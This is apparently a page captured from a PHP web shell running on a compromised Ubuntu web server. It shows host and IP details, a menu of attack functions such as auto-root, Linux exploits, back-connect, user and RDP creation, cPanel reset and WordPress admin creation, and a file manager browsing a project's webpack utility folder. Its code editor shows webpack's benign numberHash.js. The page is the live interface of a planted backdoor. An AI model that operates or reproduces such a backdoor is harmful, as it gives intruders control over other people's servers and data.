Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.159
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
amatya /
quiz1 /
node_modules /
webpack /
lib /
util /
[ HOME SHELL ]
Name
Size
Permission
Action
hash
[ DIR ]
dr-xr-xr-x
ArrayHelpers.js
1.5
KB
-rw-rw-rw-
ArrayQueue.js
1.93
KB
-rw-rw-rw-
AsyncQueue.js
10.27
KB
-rw-rw-rw-
Hash.js
925
B
-rw-rw-rw-
IterableHelpers.js
958
B
-rw-rw-rw-
LazyBucketSortedSet.js
5.88
KB
-rw-rw-rw-
LazySet.js
5.01
KB
-rw-rw-rw-
MapHelpers.js
1.06
KB
-rw-rw-rw-
ParallelismFactorCalculator.js
1.73
KB
-rw-rw-rw-
Queue.js
1.04
KB
-rw-rw-rw-
Semaphore.js
1
KB
-rw-rw-rw-
SetHelpers.js
2.31
KB
-rw-rw-rw-
SortableSet.js
3.63
KB
-rw-rw-rw-
StackedCacheMap.js
3.31
KB
-rw-rw-rw-
StackedMap.js
3.34
KB
-rw-rw-rw-
StringXor.js
2.97
KB
-rw-rw-rw-
TupleQueue.js
1.3
KB
-rw-rw-rw-
TupleSet.js
3.05
KB
-rw-rw-rw-
URLAbsoluteSpecifier.js
2.48
KB
-rw-rw-rw-
WeakTupleMap.js
3.99
KB
-rw-rw-rw-
binarySearchBounds.js
4.12
KB
-rw-rw-rw-
chainedImports.js
4.18
KB
-rw-rw-rw-
cleverMerge.js
17.6
KB
-rw-rw-rw-
comparators.js
13.6
KB
-rw-rw-rw-
compileBooleanMatcher.js
6.45
KB
-rw-rw-rw-
concatenate.js
6.65
KB
-rw-rw-rw-
conventions.js
2.89
KB
-rw-rw-rw-
create-schema-validation.js
1.16
KB
-rw-rw-rw-
createHash.js
5.46
KB
-rw-rw-rw-
deprecation.js
8.13
KB
-rw-rw-rw-
deterministicGrouping.js
14.56
KB
-rw-rw-rw-
extractUrlAndGlobal.js
531
B
-rw-rw-rw-
findGraphRoots.js
6.02
KB
-rw-rw-rw-
fs.js
22.84
KB
-rw-rw-rw-
identifier.js
11.75
KB
-rw-rw-rw-
internalSerializables.js
10.87
KB
-rw-rw-rw-
magicComment.js
567
B
-rw-rw-rw-
makeSerializable.js
1.79
KB
-rw-rw-rw-
memoize.js
678
B
-rw-rw-rw-
nonNumericOnlyHash.js
562
B
-rw-rw-rw-
numberHash.js
2.86
KB
-rw-rw-rw-
objectToMap.js
343
B
-rw-rw-rw-
processAsyncTree.js
1.55
KB
-rw-rw-rw-
propertyAccess.js
727
B
-rw-rw-rw-
propertyName.js
1.31
KB
-rw-rw-rw-
registerExternalSerializer.js
7.72
KB
-rw-rw-rw-
runtime.js
15.79
KB
-rw-rw-rw-
semver.js
17.46
KB
-rw-rw-rw-
serialization.js
4.6
KB
-rw-rw-rw-
smartGrouping.js
5.14
KB
-rw-rw-rw-
source.js
1.72
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : numberHash.js
/* MIT License http://www.opensource.org/licenses/mit-license.php Author Tobias Koppers @sokra */ "use strict"; /** * Threshold for switching from 32-bit to 64-bit hashing. This is selected to ensure that the bias towards lower modulo results when using 32-bit hashing is <0.5%. * @type {number} */ const FNV_64_THRESHOLD = 1 << 24; /** * The FNV-1a offset basis for 32-bit hash values. * @type {number} */ const FNV_OFFSET_32 = 2166136261; /** * The FNV-1a prime for 32-bit hash values. * @type {number} */ const FNV_PRIME_32 = 16777619; /** * The mask for a positive 32-bit signed integer. * @type {number} */ const MASK_31 = 0x7fffffff; /** * The FNV-1a offset basis for 64-bit hash values. * @type {bigint} */ const FNV_OFFSET_64 = BigInt("0xCBF29CE484222325"); /** * The FNV-1a prime for 64-bit hash values. * @type {bigint} */ const FNV_PRIME_64 = BigInt("0x100000001B3"); /** * Computes a 32-bit FNV-1a hash value for the given string. * See https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function * @param {string} str The input string to hash * @returns {number} - The computed hash value. */ function fnv1a32(str) { let hash = FNV_OFFSET_32; for (let i = 0, len = str.length; i < len; i++) { hash ^= str.charCodeAt(i); // Use Math.imul to do c-style 32-bit multiplication and keep only the 32 least significant bits hash = Math.imul(hash, FNV_PRIME_32); } // Force the result to be positive return hash & MASK_31; } /** * Computes a 64-bit FNV-1a hash value for the given string. * See https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function * @param {string} str The input string to hash * @returns {bigint} - The computed hash value. */ function fnv1a64(str) { let hash = FNV_OFFSET_64; for (let i = 0, len = str.length; i < len; i++) { hash ^= BigInt(str.charCodeAt(i)); hash = BigInt.asUintN(64, hash * FNV_PRIME_64); } return hash; } /** * Computes a hash value for the given string and range. This hashing algorithm is a modified * version of the [FNV-1a algorithm](https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function). * It is optimized for speed and does **not** generate a cryptographic hash value. * * We use `numberHash` in `lib/ids/IdHelpers.js` to generate hash values for the module identifier. The generated * hash is used as a prefix for the module id's to avoid collisions with other modules. * @param {string} str The input string to hash. * @param {number} range The range of the hash value (0 to range-1). * @returns {number} - The computed hash value. * @example * ```js * const numberHash = require("webpack/lib/util/numberHash"); * numberHash("hello", 1000); // 73 * numberHash("hello world"); // 72 * ``` */ module.exports = (str, range) => { if (range < FNV_64_THRESHOLD) { return fnv1a32(str) % range; } return Number(fnv1a64(str) % BigInt(range)); };
Close